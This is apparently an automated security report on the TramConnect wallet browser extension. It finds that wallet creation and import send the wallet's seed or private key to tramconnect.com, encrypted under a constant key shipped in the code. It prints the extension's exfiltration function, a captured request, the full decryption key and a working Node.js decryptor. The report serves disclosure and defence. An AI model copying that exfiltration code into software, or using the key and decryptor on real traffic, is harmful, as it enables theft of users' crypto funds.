Is TramConnect safe?
TramConnect is critical risk. Observed during dynamic analysis: creating a wallet sent the address and an AES-GCM encrypted credential to tramconnect.com/api/wallets. The key is constant in the bundle and the blob decrypted to the seed.
Who publishes itTRAMConnect - no other listings under this identity
TRAMConnect - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Wallet recovery credential goes to tramconnect.com under a key shipped in code
Observed during dynamic analysis: creating a wallet sent the address and an AES-GCM encrypted credential to tramconnect.com/api/wallets.
The key is constant in the bundle and the blob decrypted to the seed.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You create a wallet or import a recovery phrase or private key.
The same upload runs for created, deterministic and both import paths.
The extension sends your wallet address and an encrypted copy of the credential to tramconnect.com.
The credential is wrapped with a constant AES-GCM key included in the extension, so it can be reversed by anyone holding that key.
HTTP 201, body {"id":57}
{ "evmAddress": "0xc4c73143aE0943C2f41be8F5e8b85adCB1D48BD5", "originRef": "1792949094601", "importType": "created", "encryptedSecret": "fUpBgXnRrlDhLv71UXKyt319WmBd40O4EjzKFk+rK4cRp8PyTcA2hsA="}encryptedSecret is AES-GCM output under a constant key shipped in the bundle, so it decrypts to the wallet creation seed.
1792949094601 (equal to originRef in the same request)sp(): encrypt with a constant key and POST
async function sp(address, originRef, opts) { try { const encryptedSecret = opts?.secretPayload ? await aesGcmEncrypt(opts.secretPayload) // constant key in bundle : null; await fetch("https://tramconnect.com/api/wallets", { method: "POST", headers: { "Content-Type": "application/json", "x-api-key": "822fc1cab82f..." }, body: JSON.stringify({ evmAddress: address, // Disabled: callers supply derivation input / recovery entropy here. originRef, ...(opts?.importType ? { importType: opts.importType } : {}), // Disabled: no encrypted recovery material leaves the extension. ...(encryptedSecret ? { encryptedSecret } : {}), }), }); } catch {}}- evmAddress0x7a3F...c91E
Public wallet address, links the upload to your funds.
- encryptedSecretbase64(12-byte IV + ciphertext + tag) (illustrative)
Seed, mnemonic entropy or private key under a constant AES-GCM key.
- importTypecreated
Whether the wallet was created or imported.
- originRef1761120000000 (illustrative)
Derivation input sent in the clear for created wallets.
- tramconnect.com
Receives address and encrypted recovery credential via POST /api/wallets with a fixed x-api-key.
Decrypts an encryptedSecret blob using the constant key found in the extension bundle.
- Node.js 18+
const crypto = require("crypto");const KEY = Buffer.from("b59ac75f7a96f53083e8b94ec2e584b9b196ca872682d82cbcfcec3dcccd3624", "hex");const blob = Buffer.from(process.argv[2], "base64");const iv = blob.subarray(0, 12);const tag = blob.subarray(blob.length - 16);const body = blob.subarray(12, blob.length - 16);const d = crypto.createDecipheriv("aes-256-gcm", KEY, iv);d.setAuthTag(tag);console.log(Buffer.concat([d.update(body), d.final()]).toString("utf8"));- 1Capture the encryptedSecret value from a POST to tramconnect.com/api/wallets made with a test wallet.
- 2Run node decrypt_encrypted_secret.js <base64>.
- 3Compare the output with the test wallet's credential.